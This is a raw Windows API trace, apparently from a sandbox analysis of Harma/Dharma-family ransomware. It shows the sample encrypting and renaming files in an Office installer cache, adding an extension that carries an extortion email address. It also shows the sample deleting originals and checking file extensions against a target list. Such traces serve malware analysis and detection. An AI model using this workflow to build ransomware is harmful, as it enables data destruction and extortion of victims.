(lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0054.513] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0054.633] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0054.634] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc6c | out: lpNewFilePointer=0x0) returned 1 [0054.634] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.634] ReadFile (in: hFile=0x204, lpBuffer=0x3ba0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ba0058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.730] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.730] ReadFile (in: hFile=0x204, lpBuffer=0x3be0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3be0058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.891] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x315fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0054.891] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.891] ReadFile (in: hFile=0x204, lpBuffer=0x3c20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c20058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.994] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.994] WriteFile (in: hFile=0x204, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x315fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x315fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0055.241] SetEndOfFile (hFile=0x204) returned 1 [0055.241] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3fd9e48 [0055.245] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0055.245] WriteFile (in: hFile=0x204, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.247] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0055.247] WriteFile (in: hFile=0x204, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.254] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0055.254] WriteFile (in: hFile=0x204, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.257] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3fd9e48 | out: hHeap=0x5a0000) returned 1 [0055.257] CloseHandle (hObject=0x204) returned 1 [0055.257] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0055.257] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0055.257] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0055.257] lstrlenW (lpString=".doc") returned 4 [0055.257] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.257] lstrlenW (lpString=".docx") returned 5 [0055.257] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0055.257] lstrlenW (lpString=".pdf") returned 4 [0055.257] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.257] lstrlenW (lpString=".xls") returned 4 [0055.257] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.258] lstrlenW (lpString=".xlsx") returned 5 [0055.258] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0055.258] lstrlenW (lpString=".ppt") returned 4 [0055.258] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.258] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0055.258] lstrlenW (lpString=".zip") returned 4 [0055.258] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.258] lstrlenW (lpString=".rar") returned 4 [0055.258] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.258] lstrlenW (lpString=".bz2") returned 4 [0055.258] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.258] lstrlenW (lpString=".7z") returned 3 [0055.258] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.258] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0055.258] lstrlenW (lpString=".dbf") returned 4 [0055.258] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.258] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0055.258] lstrlenW (lpString=".1cd") returned 4 [0055.258] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.258] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0055.258] lstrlenW (lpString=".jpg") returned 4 [0055.258] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.258] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0055.258] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0055.258] lstrlenW (lpString=".doc") returned 4 [0055.258] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.258] lstrlenW (lpString=".docx") returned 5 [0055.258] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0055.258] lstrlenW (lpString=".pdf") returned 4 [0055.259] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.259] lstrlenW (lpString=".xls") returned 4 [0055.259] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.259] lstrlenW (lpString=".xlsx") returned 5 [0055.259] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0055.259] lstrlenW (lpString=".ppt") returned 4 [0055.259] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0055.259] lstrlenW (lpString=".zip") returned 4 [0055.259] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.259] lstrlenW (lpString=".rar") returned 4 [0055.259] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.259] lstrlenW (lpString=".bz2") returned 4 [0055.259] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.259] lstrlenW (lpString=".7z") returned 3 [0055.259] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0055.259] lstrlenW (lpString=".dbf") returned 4 [0055.259] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0055.259] lstrlenW (lpString=".1cd") returned 4 [0055.259] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0055.259] lstrlenW (lpString=".jpg") returned 4 [0055.259] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.260] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0055.260] lstrlenW (lpString="osetupui.dll") returned 12 [0055.260] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0055.260] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=191872) returned 1 [0055.260] CloseHandle (hObject=0x204) returned 1 [0055.260] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 0x2020 [0055.260] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0055.260] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0055.260] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.261] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.261] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0055.261] GetLastError () returned 0x0 [0055.261] ReadFile (in: hFile=0x204, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x315fed4*=0x2ed80, lpOverlapped=0x0) returned 1 [0055.489] WriteFile (in: hFile=0x200, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x2ed90, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x315fc9c*=0x2ed90, lpOverlapped=0x0) returned 1 [0055.494] ReadFile (in: hFile=0x204, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.494] WriteFile (in: hFile=0x200, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.494] SetEndOfFile (hFile=0x200) returned 1 [0055.494] CloseHandle (hObject=0x200) returned 1 [0055.494] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.494] SetEndOfFile (hFile=0x204) returned 1 [0055.496] CloseHandle (hObject=0x204) returned 1 [0055.496] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0055.497] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 1 [0055.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0055.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0055.497] lstrlenW (lpString=".doc") returned 4 [0055.497] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.497] lstrlenW (lpString=".docx") returned 5 [0055.497] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0055.497] lstrlenW (lpString=".pdf") returned 4 [0055.497] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.497] lstrlenW (lpString=".xls") returned 4 [0055.497] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.497] lstrlenW (lpString=".xlsx") returned 5 [0055.497] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0055.497] lstrlenW (lpString=".ppt") returned 4 [0055.497] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0055.497] lstrlenW (lpString=".zip") returned 4 [0055.497] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.497] lstrlenW (lpString=".rar") returned 4 [0055.497] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.497] lstrlenW (lpString=".bz2") returned 4 [0055.497] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.498] lstrlenW (lpString=".7z") returned 3 [0055.498] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0055.498] lstrlenW (lpString=".dbf") returned 4 [0055.498] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0055.498] lstrlenW (lpString=".1cd") returned 4 [0055.498] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0055.498] lstrlenW (lpString=".jpg") returned 4 [0055.498] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0055.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0055.498] lstrlenW (lpString=".doc") returned 4 [0055.498] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.498] lstrlenW (lpString=".docx") returned 5 [0055.498] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0055.498] lstrlenW (lpString=".pdf") returned 4 [0055.498] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.498] lstrlenW (lpString=".xls") returned 4 [0055.498] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.498] lstrlenW (lpString=".xlsx") returned 5 [0055.498] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0055.498] lstrlenW (lpString=".ppt") returned 4 [0055.498] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0055.498] lstrlenW (lpString=".zip") returned 4 [0055.498] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.499] lstrlenW (lpString=".rar") returned 4 [0055.499] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.499] lstrlenW (lpString=".bz2") returned 4 [0055.499] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.499] lstrlenW (lpString=".7z") returned 3 [0055.499] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.499] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0055.499] lstrlenW (lpString=".dbf") returned 4 [0055.499] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.499] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0055.499] lstrlenW (lpString=".1cd") returned 4 [0055.499] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.499] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0055.499] lstrlenW (lpString=".jpg") returned 4 [0055.499] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.499] lstrcmpiW (lpString1=".cab", lpString2=".harma") returned -1 [0055.499] lstrlenW (lpString="AccLR.cab") returned 9 [0055.499] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0055.505] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=28016276) returned 1 [0055.505] CloseHandle (hObject=0x204) returned 1 [0055.505] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab")) returned 0x2020 [0055.505] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0055.506] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0055.548] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0055.548] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc6c | out: lpNewFilePointer=0x0) returned 1 [0055.548] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0055.548] ReadFile (in: hFile=0x204, lpBuffer=0x3ba0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ba0058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.580] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0055.580] ReadFile (in: hFile=0x204, lpBuffer=0x3be0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3be0058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.588] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x315fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0055.588] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0055.588] ReadFile (in: hFile=0x204, lpBuffer=0x3c20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c20058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.701] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.701] WriteFile (in: hFile=0x204, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x315fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x315fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0055.820] SetEndOfFile (hFile=0x204) returned 1 [0055.820] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3fd9e48 [0055.820] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0055.820] WriteFile (in: hFile=0x204, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.821] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0055.821] WriteFile (in: hFile=0x204, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.824] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0055.824] WriteFile (in: hFile=0x204, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.826] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3fd9e48 | out: hHeap=0x5a0000) returned 1 [0055.826] CloseHandle (hObject=0x204) returned 1 [0055.826] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0055.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.827] lstrlenW (lpString=".doc") returned 4 [0055.827] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0055.827] lstrlenW (lpString=".docx") returned 5 [0055.827] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0055.827] lstrlenW (lpString=".pdf") returned 4 [0055.827] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0055.827] lstrlenW (lpString=".xls") returned 4 [0055.827] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0055.827] lstrlenW (lpString=".xlsx") returned 5 [0055.827] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0055.827] lstrlenW (lpString=".ppt") returned 4 [0055.827] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0055.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.827] lstrlenW (lpString=".zip") returned 4 [0055.827] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0055.827] lstrlenW (lpString=".rar") returned 4 [0055.827] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0055.827] lstrlenW (lpString=".bz2") returned 4 [0055.827] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0055.827] lstrlenW 